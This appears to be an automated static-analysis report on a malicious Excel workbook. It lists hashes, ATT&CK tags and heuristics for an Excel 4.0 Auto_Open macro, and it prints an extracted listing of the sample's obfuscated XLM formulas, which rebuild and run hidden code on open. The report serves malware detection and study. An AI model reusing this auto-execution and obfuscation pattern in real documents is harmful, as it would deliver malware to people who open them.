Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29f922fc5440e9c1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:08 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: bad8a94b6b4403a82cd25e71c4ead5ef SHA-1: d177609c0aaed3681ec6ac22094a79e43614befe SHA-256: 29f922fc5440e9c1eac61f2262cb71148ed0b744eb8e3779726619d8c8000eaa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating potential for automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. No specific family could be identified, but the technique is common for initial execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6870 bytes
SHA-256: 5344d52e07950332ba1ee2619b6c5d51084e064c6febf633b819c0f23d360fad
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CpgUVRZzGsx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A174 
' 0018     26 LABEL : Cell Value, String Constant - EgNbEvZHIJV len=0 
' 0018     25 LABEL : Cell Value, String Constant - FRclJmehcx len=0 
' 0018     20 LABEL : Cell Value, String Constant - GbihZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - gUYQtX len=0 
' 0018     25 LABEL : Cell Value, String Constant - HJTrETKWlF len=0 
' 0018     22 LABEL : Cell Value, String Constant - HZXuQlw len=0 
' 0018     22 LABEL : Cell Value, String Constant - IhXICag len=0 
' 0018     24 LABEL : Cell Value, String Constant - InHbsrWJb len=0 
' 0018     25 LABEL : Cell Value, String Constant - IYUGohTaFP len=0 
' 0018     23 LABEL : Cell Value, String Constant - JRpITpqF len=0 
' 0018     21 LABEL : Cell Value, String Constant - NIADZh len=0 
' 0018     24 LABEL : Cell Value, String Constant - NyPfaRYaP len=0 
' 0018     25 LABEL : Cell Value, String Constant - NZuDFWOPKj len=0 
' 0018     26 LABEL : Cell Value, String Constant - OdSloKWdMTN len=0 
' 0018     25 LABEL : Cell Value, String Constant - shhjfzSXGN len=0 
' 0018     21 LABEL : Cell Value, String Constant - UgVfBu len=0 
' 0018     27 LABEL : Cell Value, String Constant - wfGoscKlYWTm len=0 
' 0018     24 LABEL : Cell Value, String Constant - xUTUWRFnj len=0 
' 0018     22 LABEL : Cell Value, String Constant - zDqdzTm len=0 
' 0018     24 LABEL : Cell Value, String Constant - zkJqhJexn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CpgUVRZzGsx,A82,"SET.NAME("gUYQtX",0+VALUE("0"))",""
'  CpgUVRZzGsx,S83,"",-407.00000000000000000000
'  CpgUVRZzGsx,A84,"SET.NAME("wfGoscKlYWTm",gUYQtX)",""
'  CpgUVRZzGsx,S84,"",722.00000000000000000000
'  CpgUVRZzGsx,S85,"",678.00000000000000000000
'  CpgUVRZzGsx,S86,"",47.00000000000000000000
'  CpgUVRZzGsx,S87,"",139.00000000000000000000
'  CpgUVRZzGsx,S88,"",-644.00000000000000000000
'  CpgUVRZzGsx,A89,"SET.NAME("IhXICag",gUYQtX)",""
'  CpgUVRZzGsx,A92,"SET.NAME("zDqdzTm",COUNTA(UgVfBu))",""
'  CpgUVRZzGsx,A96,"SET.NAME("InHbsrWJb",COUNTA(NZuDFWOPKj))",""
'  CpgUVRZzGsx,A100,[],""
'  CpgUVRZzGsx,A102,"SET.NAME("GbihZ","")",""
'  CpgUVRZzGsx,A106,"wfGoscKlYWTm",""
'  CpgUVRZzGsx,A110,"SET.NAME("xUTUWRFnj",HLOOKUP("*",UgVfBu,wfGoscKlYWTm,FALSE))",""
'  CpgUVRZzGsx,A114,"OdSloKWdMTN",""
'  CpgUVRZzGsx,A119,"SET.NAME("zkJqhJexn",gUYQtX)",""
'  CpgUVRZzGsx,A123,[],""
'  CpgUVRZzGsx,A128,"zkJqhJexn",""
'  CpgUVRZzGsx,A130,"HZXuQlw",""
'  CpgUVRZzGsx,A132,"shhjfzSXGN",""
'  CpgUVRZzGsx,A137,"HJTrETKWlF",""
'  CpgUVRZzGsx,A141,"SET.NAME("JRpITpqF",VALUE(HLOOKUP("*",NZuDFWOPKj,HJTrETKWlF,FALSE)))",""
'  CpgUVRZzGsx,A144,"EgNbEvZHIJV",""
'  CpgUVRZzGsx,A146,"GbihZ",""
'  CpgUVRZzGsx,A148,"IhXICag",""
'  CpgUVRZzGsx,A152,NEXT(),""
'  CpgUVRZzGsx,A154,"IYUGohTaFP",""
'  CpgUVRZzGsx,A157,[],""
'  CpgUVRZzGsx,A162,"FRclJmehcx",""
'  CpgUVRZzGsx,A167,NEXT(),""
'  CpgUVRZzGsx,A171,RETURN(),""
'  CpgUVRZzGsx,A199,"SET.NAME("NIADZh",A82)",""
'  CpgUVRZzGsx,A202,"UgVfBu",""
'  CpgUVRZzGsx,A204,"SET.NAME("NZuDFWOPKj",R83C12)",""
'  CpgUVRZzGsx,A206,"SET.NAME("FRclJmehcx",213)",""
'  CpgUVRZzGsx,A208,"SET.NAME("NyPfaRYaP",1)",""
'  CpgUVRZzGsx,A212,NIADZh(),""
'  CpgUVRZzGsx,A213,HALT(),""

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